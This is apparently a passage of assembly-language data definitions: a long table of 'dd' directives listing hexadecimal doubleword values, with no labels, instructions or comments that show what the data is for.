		dd 0BD0EDCA7h, 0E07CB6C3h, 682D9986h, 0A0D61E70h, 0D79B80E6h
		dd 4E0ECD92h, 0A0ECEB5Ah, 0DCEEF04Bh, 821FC60Bh, 0AB3C80DEh
		dd 3BE93388h, 0D300B1D7h, 0A59CB7FDh, 0EB000492h, 5228E525h
		dd 0C469B3h, 0C8AF4474h, 92397654h, 823D093Ah, 79CE0C6Bh
		dd 3E58402Dh, 0A32A01B8h, 0EDBF72C6h, 99F030C0h, 9C243600h
		dd 23B0F871h, 9EFE00D1h, 67C8592Ch, 7009AF62h, 206A1FB8h
		dd 0DAB70914h, 40F800AAh, 0E8D0205Ah, 8E00CA06h, 7CB9DFDEh
		dd 0BED795Bh, 35735EBCh, 50E88307h, 58501B12h, 0A561B50Ah
		dd 0B900D5DBh, 0A95711A6h, 1E66EC67h, 0C015EE46h, 6D725CB0h
		dd 0F60E4FA1h, 0E09C4E8Dh, 0B71F9664h, 77E666h,	0B6A81A03h
		dd 0AFA63ED1h, 0A9B09100h, 41E56336h, 0DF850h, 599B7844h
		dd 0D4C7CB29h, 87F5B500h, 0E24E137h, 8C5D00D9h,	0B130094Ah
		dd 7077FF2Ch, 2F0020F8h, 6BB5764Bh, 1CA05D8Ah, 85FDEA3Eh
		dd 0B543Ah, 230EFF84h, 37006CBCh, 99A8D28Fh, 74D1EF79h
		dd 642100F0h, 91CF0C76h, 0C600C5BCh, 41F4CD35h,	274FAA2h
		dd 643E78B8h, 0AE183CAh, 4ED44073h, 4580D391h, 8890002Ah
		dd 0BF797F61h, 8008EF0h, 8D3377D1h, 1756444h, 23C9CCCAh
		dd 801B20A0h, 185BD3B0h, 184EDD8h, 257A9F14h, 50C57319h
		dd 89F98AD8h, 1F5C9E78h, 0E9CE01F6h, 0EF773579h, 6D8E3D8h
		dd 0EAFCEEA6h, 0CC008902h, 7DA80F97h, 9D95AF8h,	39A2698Fh
		dd 516DD380h, 0CC024916h, 87EFA6C7h, 0C89F4056h, 0BA17001Fh
		dd 79BDBF4h, 1B785A74h,	0D5B6CE1Ch, 220DD8C6h, 0D75938B0h
		dd 3932CA01h, 0EC7C77DEh, 1C01D1C6h, 0E7B20291h, 12700596h
		dd 0E221004Eh, 2F363AEDh, 1A0209D8h, 0B5BA9D69h, 99C4C0FAh
		dd 3EC98F3h, 4E38E3EEh,	0AEC07396h, 5503B15Dh, 0C399AF42h
		dd 9440F8C0h, 7D850EEEh, 934E6EA1h, 95FAE220h, 24B8395Fh
		dd 922BBF07h, 89042FA5h, 480CC8h, 23209DCBh, 0D6825D56h
		dd 0CA838D00h, 11780BA9h, 2D2C00DFh, 7A5EB9CDh,	0D572FCE4h
		dd 143E6D00h, 0CC5B84BCh, 8D651D17h, 5F9C0030h,	9F9D6A2Eh
		dd 408A0618h, 24671982h, 3EB43DCFh, 4DB82F0Fh, 52166F20h
		dd 8008B47h, 0F3E1137Ch, 54C1FBh, 0E54FE053h, 0E8E67AC6h
		dd 17EC4001h, 386ABE6Eh, 4CA69DD8h, 0C500B928h,	39828954h
		dd 0A58D2F3h, 860502BEh, 0E0AF7CD7h, 2C5DC0B1h,	43FFCA6h
		dd 0D0FBE319h, 342F93BCh, 1B3B4C04h, 18804455h,	180C7FFAh
		dd 1022A20Eh, 2F04D3E2h, 9B5B8F32h, 33308490h, 74E400A2h
		dd 388CC9F1h, 5A001F9Ch, 15A765A5h, 92C6449Bh, 22570740h
		dd 3755A4C9h, 0E6188087h, 69012DF5h, 898499D6h,	8C50E335h
		dd 36375D0h, 54EB4A56h,	53BAC5E0h, 4EF42C48h, 57513F84h
		dd 173EBA80h, 8B4619D2h, 36B62400h, 0FB2DF927h,	60F2FB75h
		dd 0EC1D583h, 0F6B8C860h, 9DE41C0h, 0E800CCA4h,	0E7154403h
		dd 0B89DE4E1h, 7E7081h,	337435D8h, 71EB93DDh, 0C1683Eh
		dd 0B4B55681h, 1DF7F3Bh, 0F6A80AAh, 0F0C3AF1Eh,	0F40F8DD8h
		dd 0A3CA30A0h, 2EF75F25h, 0DB467Ch, 860184F5h, 63004AFEh
		dd 0D86768BAh, 3DB350h,	925558DEh, 4415D519h, 0CBCADF28h
		dd 0DB17C100h
		dd 0F63B9EADh, 0DE451EEEh, 0D143C0A0h, 6857C4BCh, 37A7A400h
		dd 4CEC3F60h, 0DD1A39F4h, 28C069Fh, 1C925AF6h, 572640DFh
		dd 8B0C7h, 97FCF91Fh, 0E4346758h, 24E37200h, 1284E517h
		dd 117876h, 5DBFA1DDh, 10422C74h, 0FAF8DA00h, 2BBEF05Ah
		dd 6AC107FCh, 801DEBE6h, 8E769B68h, 0BA0A3700h,	0F9AE361h
		dd 4A80030h, 8DCB4071h,	0B50016ECh, 0AE17EAF3h,	2B16Eh
		dd 0E89AA96h, 0A599DC80h, 27430900h, 8C70AD56h,	0DE461EACh
		dd 3EAC75h, 0D212B263h,	0A4C3F51h, 87FC3D5Ch, 25306E1Bh
		dd 1521C450h, 80620052h, 7CD16B26h, 4D7C1E07h, 8B570C94h
		dd 0D084C430h, 68B52042h, 91840002h, 5327A20h, 41528D60h
		dd 0E9BCC110h, 9C607D1Fh, 0CC965C3Eh, 24BFB298h, 7799371Fh
		dd 9C8408B0h, 0E2710062h, 7FF2354Ah, 0C800BC43h, 52BAB4Eh
		dd 122373C9h, 92D61D40h, 20298314h, 0C9354EECh,	3DF0900Ah
		dd 0D603B93Ch, 7E7ABF94h, 0C456D288h, 29CC8000h, 17498F5Ah
		dd 46CB045Eh, 0A4FB82ADh, 0CD4A4B14h, 60D32C54h, 1FEB0EC8h
		dd 0F982077Ch, 504EFEBFh, 5BAED357h, 1E0A0100h,	142397F0h
		dd 0C2BD0020h, 0F6505F0Ch, 0AA008398h, 9BD5CC2Ah, 66F3D9h
		dd 795D441Bh, 0B0DBDEEAh, 3EF90900h, 0A9DBEC7h,	7C140985h
		dd 5780B1C6h, 0DEB58667h, 197B2800h, 0E8A6743Ah, 905900D5h
		dd 98AA525Ah, 0EF00B79Dh, 0FB155D83h, 0CE493Fh,	0D1B43E6Ch
		dd 0C766933Ch, 1BD21300h, 69C58F5Bh, 7923000Bh,	72840CB6h
		dd 680083A9h, 40DDC928h, 8A397Ah, 0D98E24F1h, 0FB7B38D7h
		dd 878854E1h, 0BC4B005Eh, 20E1FC1h, 891E7982h, 0C264A368h
		dd 90ED80CDh, 51AFA0A0h, 0FBB618AAh, 11AD216Eh,	7805FD00h
		dd 4AAB1FB2h, 987000CFh, 0D6AA1DE8h, 0D207235Dh, 6A02BC45h
		dd 0E63A5800h, 203415D0h, 2C01D0C0h, 46D84273h,	4B6F6027h
		dd 0B6084F66h, 54910021h, 0FBA22D42h, 48048C31h, 0BD08FE40h
		dd 45B99C40h, 0A62FABAh, 0E34E9860h, 0F9681080h, 4202DF21h
		dd 314F46D5h, 438C10C2h, 3BD07842h, 0E79F4CE4h,	528779B8h
		dd 3C3C16D2h, 0DC00CC29h, 0B5C9AA46h, 73CBA336h, 98344954h
		dd 0CDED9E00h, 0ECD7052Ch, 7FBFFE0Eh, 0CB7086EFh, 84C10020h
		dd 37A41098h, 9701E6DCh, 0C736A026h, 0D040F148h, 6789C9h
		dd 0B8D9668Dh, 53D268FDh, 60E9D300h, 5117C391h,	24D7016Bh
		dd 83D058CBh, 3749F030h, 1DE1BE0Fh, 1A3DA040h, 79F602B3h
		dd 3BC700EDh, 9BF14454h, 0D000D57Eh, 37520FEBh,	0E2A8D2h
		dd 3F86E90Ch, 0EDF2DA6Bh, 0DD80451Ch, 1F289401h, 14D45513h
		dd 9771D7h, 567CB6E6h, 0A10C53A7h, 0ECD3A507h, 481083B5h
		dd 330C9E0h, 53D069E6h,	0A9B32F0Fh, 0C761BCF8h,	0F1E13A1Ch
		dd 21066880h, 56E834h, 0B7D61415h, 8CD359E7h, 6D9DF100h
		dd 3B3C044Ch, 0CC3500E0h, 482B0522h, 2900CA8Ah,	0EA027C7h
		dd 0E0B42469h, 0BC8F0390h, 642F3B05h, 0CB5D2BD0h, 29C0B637h
		dd 6F445ED4h, 42704834h, 0A122D4C8h, 98172759h,	882A0C88h
		dd 9D91C651h, 824F351Dh, 2D657F73h, 0A0393740h,	6E1C8700h
		dd 0E2A2E027h, 3E6007A1h, 606D9FD2h, 19651EDDh,	95E5E0FFh
		dd 0E42AA900h, 0F71A5223h, 4FD224C9h, 721600A5h, 6479630Eh
		dd 0B5D5121Eh, 0BC7BC880h, 8D20C6h, 4BFE9CC7h, 38794DDAh
		dd 83824600h, 1CA1CB51h, 23D7BC8h, 7E628720h, 5740AA36h
		dd 0FA5C9DAFh, 0E1AD0EC0h, 0CE4C8071h, 0EBF259Fh, 0E37B07CBh
		dd 0DA1B7EE0h, 78BD5D48h, 88C400BCh, 148F9EE5h,	6E1D351Dh
		dd 51C27D18h, 40291F19h, 879C6Eh, 5A33C652h, 0E9096E88h
		dd 7642153Fh, 0A5B27E0Ch, 0BA5070h, 0F1D6BC94h,	0B14E3E4Dh
		dd 0F9461600h, 0E79E30AAh, 0BF4A002Eh, 0B36FFA5h, 0FEB07AEAh
		dd 641CCEF8h, 0D90F2344h, 0BACF5DB7h, 0C0D7A79Fh, 2830930Ah
		dd 8E536Ch, 0EC082833h,	712AC701h, 169E8700h, 0F5D105A4h
		dd 0B5B31C65h, 8730048h, 2672EBC6h, 66C4131Dh, 0D0C85300h
		dd 6FCDEAh, 0E6B03592h,	0A483DC58h, 0A1384002h,	0E078C0C3h
		dd 54CF7Dh, 39EA978Fh, 425BA9DEh, 0A1595307h, 4A8696D1h
		dd 88A0368h, 3ECC1070h,	0C6196198h, 5E020EF4h, 43F2F07Ah
		dd 1EAE363h, 0D5E3A548h, 0DBD0AFFFh, 6FBBC2F0h,	44560A00h
		dd 0B8F3E8AAh, 0DDF00A37h, 0A82CDAh, 89456224h,	2E00CD54h
		dd 0EAB05E0Dh, 2CC71366h, 434BA5h, 285C83CFh, 0A005185h
		dd 17D30814h, 527E81h, 92DC026Ch, 0BCEE10F3h, 822E6300h
		dd 11688873h, 3CF61Ch, 0F329370h, 0DC480E7Ch, 80608C3Eh
		dd 4E015CC0h, 0B8E64585h, 34290028h, 5B7BD452h,	0CC0FE23Eh
		dd 80BFAD1Ch, 353211C5h, 0B0B6002Bh, 219D0BEFh,	503ACD03h
		dd 0D40E0092h, 4223A04Eh, 95B2008Ah, 2C10C2D9h,	91001856h
		dd 9CC14B96h, 1C16640Ah, 0E4D6AC93h, 0CA05000Ch, 4D0D9558h
		dd 850B2B06h, 119D9Bh, 8E860E2Eh, 4308DC2Ch, 89DA6E1Fh
		dd 0E48A1CC0h, 12B826Fh, 38C1B4Eh, 20F818F0h, 117BE3E9h
		dd 1AF13Ah, 5BCDB28Eh, 0CCB177h, 0C28B510Dh, 7AB0BCEDh
		dd 0E4D62F00h, 3793E3A2h, 16DD0033h, 605AF3FDh,	91002136h
		dd 4BBEFF7h, 97ECC0h, 9CFDB5B2h, 0D1784C3Dh, 59B02E01h
		dd 5F9F527Ah, 4804D8h, 1809A5F2h, 8DC64D57h, 84B31001h
		dd 8B16332Ah, 0C9DCCDD1h, 0FEAC0062h, 78AB757Ah, 8E006ECEh
		dd 0B2720FF8h, 608F12EDh, 7AC1A495h, 0CAE2E787h, 0F1DB8202h
		dd 0C0A37014h, 3CF894Bh, 0E0B5AB7Fh, 0A0A08158h, 0E900EA4Dh
		dd 0FE44E580h, 9BA7D6h,	31DE59F7h, 4D89A0A8h, 0C6D37F00h
		dd 44F88222h, 716400E9h, 0B43C4CBBh, 2D015655h,	0F4B5728h
		dd 94402B34h, 412CEFh, 5D648A2Ah, 0FCDAF51Bh, 206E1D0Eh
		dd 0CE61A524h, 256CF601h, 94418FB7h, 17607659h,	0E7D607DCh
		dd 207865A8h, 0F1A4E8DBh, 66682262h, 4085E2D4h,	59C5DABh
		dd 1DE32E3h, 2880FAFAh,	1D7735B0h, 49FB04DBh, 0AC80486Bh
		dd 634AA502h, 8365763Ah, 7CB503E6h, 6060A714h, 2664948Ch
		dd 60BC5F28h, 399720E0h, 5D4CB8B8h, 0F8AF29BCh,	0CE108E18h
		dd 0A440021Ch, 1DAA9EF2h, 0D728E8A0h, 18744E1Ah, 6C49CB00h
		dd 1BA03F1Ch, 4B040029h, 820131B4h, 0D036F9Dh, 7424689Bh
		dd 6C9CC02Fh, 0C6725EB0h, 0FF0030F4h, 5D7B8948h, 3A432Bh
		dd 0B82FA7F1h, 27A85071h, 52D6E613h, 4265480Eh,	608E1AE3h
		dd 267A5BC8h, 0DB780Eh,	0E97326CFh, 0E80E030Fh,	2231BD1Bh
		dd 6046CC69h, 0F0B254h,	0A5607C47h, 6A8C5667h, 62752972h
		dd 0F4B06D07h, 0C5A0BBD8h, 2483FADBh, 986684h, 7145158h
		dd 0FF48A34Ch, 0A8770080h, 36E083EEh, 0D20402BEh, 0C63B5686h
		dd 0D19BDC60h, 0A538240Eh, 73498066h, 4CDA922Ch, 210A98B1h
		dd 80B4C75Ch, 884C3210h, 0A24808D0h, 938900BCh,	0F6EE84A0h
		dd 0C2CE0082h, 39140660h, 2F00ECC3h, 0E2CBB1Bh,	4C5691AFh
		dd 8E004C9Ch, 0DFA0AC9Eh, 27FC825Fh, 7787AB01h,	0A396CCB9h
		dd 86DADCh, 68E36B20h, 41368B0Dh, 0CCE5D00h, 76773C7Ah
		dd 0C5D700AFh, 0F0A96F7Eh, 8D00EE19h, 0D9A62F86h, 380B21Ch
		dd 1EA43924h, 62D2205Eh, 304F4D61h, 0F3164924h,	3C005BE6h
		dd 8D10AF31h, 0FF3801B4h, 9ABC9120h, 0D13B3075h, 3ED5C903h
		dd 0E04BF806h, 2BFD97h,	5BFF5765h, 615C0388h, 801DBA38h
		dd 38DCE321h, 280CB899h, 38E03C56h, 5D009A80h, 1DBBD073h
		dd 60B0D414h, 0F7503Fh
		dd 3279C675h, 1E1CC33Eh, 7278619h, 0F24EE73Fh, 0DD60A9B0h
		dd 34075047h, 0C589A141h, 6A9F4350h, 3E0A00A4h,	0CC920170h
		dd 77737678h, 5A001898h, 63B51935h, 3A71C42h, 0E03913C3h
		dd 8EB05585h, 0F801D33Dh, 1E3C96C1h, 0E9EF491Dh, 0F4208033h
		dd 0FD220265h, 8BF021ACh, 0C01EC461h, 0CB0EB920h, 24420585h
		dd 0C0BF8102h, 0FD414E12h, 0BAC67E0Fh, 35462170h, 0C3C88AC9h
		dd 16FA047Fh, 8054F269h, 0A41236F4h, 1CE46449h,	0C640AB91h
		dd 0FCF4BC87h, 5A830086h, 99F90CA6h, 1D006B70h,	0FB125358h
		dd 5CC0E9B3h, 0B705446Eh, 800E3B2Ch, 1A7A609Fh,	50169702h
		dd 60135ECDh, 21B4BCh, 0A34A0BC3h, 0B8BBE171h, 23B63Ch
		dd 8041ACC9h, 8906C0h, 6D044B61h, 0EF9FC7B9h, 1DA09490h
		dd 0DFC4938h, 844B8D1Dh, 0E187B7DEh, 0AF90DA64h, 151D68h
		dd 0BE882A98h, 0B63A20A5h, 1F580B00h, 9ED03173h, 135A7E4Dh
		dd 299C35h, 0CBE46777h,	2B002C4Bh, 24D4D375h, 0EE3E077Ah
		dd 0EC0D00A3h, 0A921DC7h, 4CB2119Bh, 4CF83C24h,	753612B8h
		dd 639CC20Eh, 0C04F02A1h, 369604Eh, 65894D33h, 7EC0D793h
		dd 63059CAAh, 1AC91195h, 3D2020C7h, 60A32C38h, 3B03588Ah
		dd 0CF3DD489h, 2F5202E2h, 0E00DB935h, 0B1701BB6h, 0C75708ACh
		dd 0F486B038h, 3BFC3362h, 2F1D388Ah, 9A5580D2h,	0CC1E73CBh
		dd 0F61FF277h, 0BB4BEE49h, 5681DFF8h, 8B579E22h, 50F9D1h
		dd 48317B7Fh, 8204004Fh, 7877EC4h, 0F61F4152h, 32CBC653h
		dd 0B154A0BDh, 7F9243h,	11195B2Ch, 18960EA2h, 1A667E0Eh
		dd 52E955h, 69C7222Ch, 68940F56h, 642016D9h, 0F776AAF9h
		dd 866E1902h, 80126F84h, 0F48AB5F0h, 38891670h,	0D2720053h
		dd 52AF567Fh, 6803ED07h, 0E9009198h, 74CC8F6h, 4177532Ah
		dd 0F20E2095h, 8801D77Fh, 5126BE61h, 0CFFC112Dh, 1E719Ch
		dd 1DA26220h, 0DCC8E516h, 0E100BBFAh, 5B4845BDh, 175CED51h
		dd 0BED28Ch, 55068178h,	650020B5h, 0CD4E7769h, 1BC6B53h
		dd 0D13456F2h, 0E6A4B25Eh, 799BDCA0h, 0A0245CCEh, 2601E4BCh
		dd 1F7A9553h, 0B26030h,	5BFDFFBBh, 0B11C60DCh, 8C249314h
		dd 0C0230084h, 44A4796Dh, 3FA11E46h, 0BA65C389h, 0ABD8979Ch
		dd 20047224h, 66AFD380h, 0DEB07097h, 3EA0CB38h,	0BB00074Bh
		dd 56B38499h, 780079B5h, 93DC42E0h, 0FE600Bh, 40AD1AF3h
		dd 0CD220FEBh, 0D42B6B02h, 0D4309259h, 0D812B2h, 6A6911ECh
		dd 5300E841h, 0A67C2ECDh, 66EB44h, 61933213h, 2835821Ah
		dd 0A92F0200h, 0FED1DA99h, 0CBE247h, 0AFE3DF84h, 6B5152E2h
		dd 0B1A7F303h, 805D7270h, 0D44564h, 0D5085AFBh,	6D6341DEh
		dd 55FE3401h, 875921D0h, 2B1CE0h, 6648586Bh, 383A54F5h
		dd 2644864Ch, 6F0056A8h, 0F1E5CA7Ch, 0F9420070h, 4F501096h
		dd 0CF00BFDAh, 6BEED2D1h, 0C71425h, 659A7C78h, 33940445h
		dd 0F2165900h, 30D73236h, 71490002h, 134A9ECFh,	860F4C58h
		dd 0A0D80C52h, 0B0A3CE73h, 3ADB016Ch, 0D8F49AAh, 61E5CC99h
		dd 0BF007F7Dh, 0B1A9EF01h, 69C550h, 34DD0C81h, 4A22169Ch
		dd 0DB80FF00h, 9F69E41h, 436A01AEh, 0DE4C740Ah,	1CD6809Ah
		dd 1DFD3142h, 92783859h, 14C29381h, 0F8FF0970h,	60002A9Ch
		dd 8A06DB79h, 6102B8h, 0FBA3DCF3h, 0C0746DCDh, 0C4446F00h
		dd 0B545FABBh, 0CC5A0038h, 2F995376h, 13176B15h, 1445FF05h
		dd 44D5C3A0h, 0E0AAF0C2h, 3B98594h, 50901E2Ah, 0E1DAF428h
		dd 3AA85560h, 1BF8EB2Ch, 0B4C6A400h, 0B5C48Fh, 0A06C721Ah
		dd 9CF2F777h, 0C118C003h, 0E8CB83A5h, 17D43F22h, 0FC505AFh
		dd 6080EC4Dh, 84DF0136h, 24D72D00h, 19B0BE81h, 0A1AC0003h
		dd 1CB6DEC1h, 0B54CA607h, 657004E8h, 58D06A04h,	107EB3h
		dd 42751E6Eh, 14BC958Ah, 4C5C98B2h, 0C7081ED8h,	10523240h
		dd 2F977Fh, 0D4505A05h,	1B1A5BDh, 0F0C056DFh, 7F8BA75Eh
		dd 22C1012Eh, 0AF299B1Bh, 8EAD40DBh, 1AE22BF4h,	0E023F000h
		dd 1F25F25Ah, 54734CEEh, 0C34B1600h, 0CB603CAFh, 8AD7B400h
		dd 0A5997069h, 48B63CFFh, 0ED00426h, 80B2E7DAh,	0EF7B9A74h
		dd 0E9723D09h, 5BD880A0h, 17E8A26h, 2797DB4Ch, 0FE21FE37h
		dd 3449F4E0h, 82DFDD0Ch, 4CB250D5h, 26929C05h, 0CE025994h
		dd 0B7CAB317h, 73C4C06Dh, 5FDB00F1h, 78AA5D2Dh,	0C200E5E9h
		dd 0CC118A4Bh, 1ECADF2Fh, 869A4DF3h, 60B3BDBEh,	64BC5F00h
		dd 11ABE969h, 0A26C01E3h, 0A5E56568h, 0A372ECD7h, 0DA6E6700h
		dd 0BAACB8A6h, 145FA12h, 64708707h, 0C411F710h,	3E007CADh
		dd 0DA2C52F9h, 24E906CAh, 7DD6F2h, 9F467BAFh, 0A5090B82h
		dd 0B72DFAh, 0ABE1123Ch, 0F33E099Eh, 10800825h,	0F9B33F30h
		dd 6C71DA00h, 0E63946B0h, 8E449h, 7C978B50h, 0A323BC92h
		dd 2E4271Eh, 8D683880h,	20C6B2h, 64037961h, 348CA6F8h
		dd 19732124h, 87D1FF02h, 48D4609Bh, 8F632h, 3E3646C5h
		dd 0A6EB9A96h, 236CD400h, 58E6AD3Bh, 640F4CD8h,	39F09204h
		dd 3750C89Bh, 480DA400h, 0CC1B8F0Eh, 278E742Eh,	64006AEEh
		dd 0EA24D2C1h, 0BE42C303h, 0D019E404h, 4D14452h, 0F455930h
		dd 1AA8F07Fh, 0F290F754h, 8907C09h, 0BB1800A8h,	6A302Ch
		dd 76B857EAh, 4496A29Bh, 2FB5F700h, 0F4744821h,	846F0F3Ch
		dd 4727088Bh, 700E1086h, 0EA77B3FCh, 352E9474h,	6C266D67h
		dd 0BB152800h, 9CB1B25h, 179FC82Dh, 0FA00240Fh,	79774E34h
		dd 0A350AD7Eh, 5B0150AAh, 5F55D5DBh, 5470EFCFh,	0F186004Bh
		dd 1AD9F90h, 0E700C680h, 0BA405C94h, 72D528h, 0B2701D43h
		dd 0B3E06C1h, 0E482922Ch, 0AF0B1C1Ch, 0E4AB80F2h, 0C45E4Fh
		dd 0AC35186Eh, 32844E6h, 1A00A9FEh, 41427CE1h, 800426h
		dd 0F9ACA1CCh, 10CEAA8Ah, 0B114A073h, 2E48C9Fh,	1FB7F8E1h
		dd 77E360B4h, 0BBA01C2Ch, 1F7FD713h, 7CB54FA1h,	0F41BFB60h
		dd 0E47C347Ah, 64A6FA00h, 40287183h, 9FFD0068h,	2E824D93h
		dd 58B84A76h, 92DDCA0Fh, 0A0831364h, 875DC1F0h,	88CCF871h
		dd 62CD0044h, 0C57D95ACh, 6F00B7EEh, 2235D12Dh,	20F5E1h
		dd 0B05E6BAEh, 0B6071630h, 214B8B12h, 199AD400h, 0B08D43BBh
		dd 92A304BCh, 0C2623756h, 50E035A2h, 4C003CF1h,	0C6198F09h
		dd 267A1D28h, 105B56h, 3FD72FD3h, 9D098942h, 0A0FC0EB8h
		dd 29D44314h, 320209D1h, 0FC018E92h, 0D82BB862h, 0DAF63D69h
		dd 0CDC727h, 71C885B4h,	861300FAh, 0FB0E12EBh, 1D029E7Eh
		dd 18285A7Bh, 6B346889h, 0FD22F26Ah, 0B51000F3h, 0E944D676h
		dd 5C038602h, 77A324B3h, 0C02FD9EAh, 1C878070h,	80587AAAh
		dd 0BC949BFDh, 3A0066E3h, 0B6E5B826h, 3B5E508Eh, 77FCBAh
		dd 1D888A63h, 29E23821h, 0DB576607h, 3D109B62h,	1EDDC6BAh
		dd 0C10E85A0h, 0C5D927E1h, 59E0D3D3h, 0E23CEE9Ch, 97A78573h
		dd 948407E6h, 0C02BC3C2h, 0ECA194h, 0E02D444h, 0BECB1AA0h
		dd 706D98A8h, 3D2A4500h, 0E58D54Bh, 95E40062h, 5B9B4D92h
		dd 0E5008D04h, 1D7C7F52h, 3845D71h, 0FDBDF290h,	110075E0h
		dd 76AEBCF5h, 4C406435h, 100957Eh, 0E489C54Ah, 17050FCDh
		dd 0F5DB4D63h, 0B6004CE3h, 461C5B7h, 0FF004B52h, 0B40C9E6Eh
		dd 1C8C25D9h, 409F1B44h, 3A4D58F5h, 1D03EE1Ah, 230CBA5Ch
		dd 0A5C7A828h, 0ADD902A9h, 843BF191h, 962960F5h, 0D695006Ch
		dd 167EB11h, 0AE00CB3Dh, 4955DCB2h, 3A9FAh, 0EA3348D1h
		dd 84E0A243h, 1CDFB400h
		dd 9EAE68C2h, 25B50028h, 0C67041E1h, 7A005A01h,	4CA22DDAh
		dd 9E9E53Dh, 0E230B273h, 61C0418Fh, 5F9BAFFFh, 0A860ECB8h
		dd 0BC08C229h, 632A3ED9h, 0DCD28400h, 0CD908132h, 76876C00h
		dd 64684D20h, 2EAC009Ch, 2666FF96h, 2F4C83B2h, 6750000Fh
		dd 0B9106A53h, 59B6642Bh, 0CBC5F8h, 317A9063h, 0ABE24037h
		dd 6226E501h, 154FD2Ch,	48008868h, 3D6C027Bh, 2D007ACEh
		dd 0C140F617h, 0D13320h, 4EB2AAFAh, 0D3062C74h,	869EFE00h
		dd 9B67A54h, 0F051075Dh, 81ECE581h, 715F5CDEh, 0BAB0E03Eh
		dd 0AE5E2F01h, 0B2F3C50Eh, 0B62824h, 0F728C84Dh, 0D16E153Ch
		dd 22CE7401h, 0A61BC711h, 298A9086h, 0FE002009h, 0A50274D2h
		dd 40AA90D1h, 55780F62h, 0EFF1F70Fh, 61274353h,	0ECD6F0FEh
		dd 47CF2639h, 3870F32h,	22FD5C0h, 91189FE9h, 5415DA7h
		dd 5EB900D3h, 0A72B307h, 0A1C0B13Eh, 25BE3DAEh,	52EF0176h
		dd 0C72D137h, 8FD731E6h, 626E7C30h, 3CF52Ch, 0A757B9B5h
		dd 0BE443800h, 5DFD0DCEh, 0F1BFE07Bh, 0D39CF8h,	80558CC8h
		dd 3B05351Eh, 0EDF8138h, 0E074B1E8h, 0D4B70114h, 3FEA9Fh
		dd 4D6A5FDAh, 6F570755h, 0FAFB1A00h, 0C1CF2703h, 14AA0086h
		dd 0A030C0CCh, 0F000413Dh, 0CAF1D0B3h, 1FDC64D3h, 1E9D74C2h
		dd 0C0865D5Bh, 0CB8797B9h, 4DECA85Dh, 800D2E3Ah, 42353284h
		dd 9B5F83h, 74B32876h, 0BEC0E010h, 855CE239h, 0C4A7362h
		dd 0A86DA080h, 0B81E7D44h, 86F700ECh, 4A05603Fh, 9600BDF5h
		dd 83441073h, 48F032h, 5C08DC37h, 5E8F0A85h, 9EED9300h
		dd 47F73462h, 4D36006Ah, 0A779356Eh, 20B40F8h, 40BA0E72h
		dd 638964h, 460C5791h, 9D937F59h, 986B941Eh, 8571A380h
		dd 649666h, 0AD1D2D63h,	6814217Eh, 29DCCE0Eh, 0A028E0E4h
		dd 5ABA7E5h, 5B55EA54h,	0D258804Eh, 30989A75h, 4C59060Bh
		dd 85FD00F2h, 7C1FEFBFh, 0CFC0B8Bh, 0BC80B50Fh,	0FFCE5574h
		dd 43D3830Bh, 0BFAD80FBh, 3F0182F0h, 0E7D83BDCh, 25530600h
		dd 0BC95C220h, 0CA0D6C05h, 20903F41h, 9A5CFFD5h, 34A900FCh
		dd 0D3F53AB4h, 0DE0281DDh, 0F8BF2E02h, 84836023h, 0F3CE006Dh
		dd 0D76B7EDCh, 0DF0050F0h, 0E87007CAh, 14E477CDh, 0C9144320h
		dd 0B5809E3Ch, 561EE267h, 5E0028C7h, 2CFDD009h,	5CE758h
		dd 0CFD773E4h, 45D20E65h, 0D6C1B300h, 0C48316E9h, 4A7D3869h
		dd 0D0ADEF80h, 19936D35h, 0C0910EEh, 0B02D6Eh, 0AA950F88h
		dd 97E538B5h, 0D45BE60Bh, 3E77A060h, 4E684900h,	8EFBEA2Ch
		dd 23160083h, 7291FC08h, 0B0076C70h, 775E5DE0h,	0B3171AA0h
		dd 0DFD13962h, 9BB60C9Ch, 68015CF2h, 0BA187EACh, 9C409E11h
		dd 56B02C4h, 3FEA0DFCh,	0D024D081h, 1E5E774Dh, 0A4FB7400h
		dd 0F59C06h, 19BA937Ah,	2CF3109Bh, 5A81AA12h, 18300E00h
		dd 3BB4DCC0h, 6804363h,	9CC5A967h, 3F01116Ch, 4213C83Ah
		dd 0F07839EBh, 87FC0200h, 0EE3EE9F4h, 0D5C46B00h, 634656E5h
		dd 212F0776h, 110418h, 0FE9EB93h, 9950B260h, 0A6E27Ch
		dd 0BA851B17h, 686F66A5h, 7DD21C00h, 0C93D3E2Fh, 0B05600A4h
		dd 3477D94Ch, 5A0E7524h, 0C08CF331h, 6C5C7C53h,	5742Fh
		dd 0EA3B1428h, 61205792h, 0B0E41F2Eh, 17319500h, 337765Ch
		dd 978656B7h, 63E84F40h, 0B4EC74BCh, 7B03C800h,	86470A48h
		dd 0D2500ED3h, 1780310Fh, 0A3AE74DAh, 0F619C100h, 0DEDDE43Fh
		dd 0D5872609h, 0F3D08068h, 2FDAD776h, 8E6EC200h, 0DCED42ADh
		dd 7370F12Dh, 1CC00F6h,	0D4D04D88h, 2301B8E0h, 9B5EAE11h
		dd 0A92060A8h, 971B006Dh, 8BADE3B2h, 7C1D6AC8h,	0BBC0460Bh
		dd 59B088FAh, 1D20058h,	4DA61A11h, 0CA3FB57Ch, 472D8105h
		dd 0C29E3F82h, 0E9A424h, 0BD89917Bh, 1F198DDBh,	41558BDh
		dd 90C1774h, 0E9249168h, 4728708Bh, 0DB640D00h,	458C5706h
		dd 6B3B0033h, 5DDE1B1Ah, 76000A23h, 84944AD8h, 145738A5h
		dd 88F3499Eh, 0D780AB3Ah, 8678FA50h, 9F002559h,	6AF70718h
		dd 0A16DCE63h, 0A0C351E1h, 2736BBD1h, 6C00826Eh, 2F6303B2h
		dd 0F2C6601h, 0AFDFEEFBh, 7C7B1034h, 9C0B00BAh,	874AAB1Ch
		dd 0A650CCACh, 3E9825A5h, 9200349Ch, 439F9D9Eh,	0EEB100EFh
		dd 0BCEDD58Eh, 830F6ADFh, 416732Ah, 0AA80DA90h,	1E7B2Eh
		dd 0F30740B9h, 47399A5Ah, 0B265950Fh, 342740A6h, 3EA5BDCAh
		dd 0E300DAE5h, 0F8D30931h, 300017ECh, 5344AE03h, 0AA858Ah
		dd 69811BFh, 0BD19921Ch, 0C2BBB600h, 66ABE8F9h,	918E00C9h
		dd 0C7620899h, 0AF0047D3h, 1B94584Fh, 1C8FF04h,	0BB9845F9h
		dd 0E5524662h, 0BEA9DC5Ah, 24CACDFFh, 0F83A7630h, 32068010h
		dd 68537C2Bh, 862A0019h, 0AAE0096Fh, 0D006746h,	0C489FEDAh
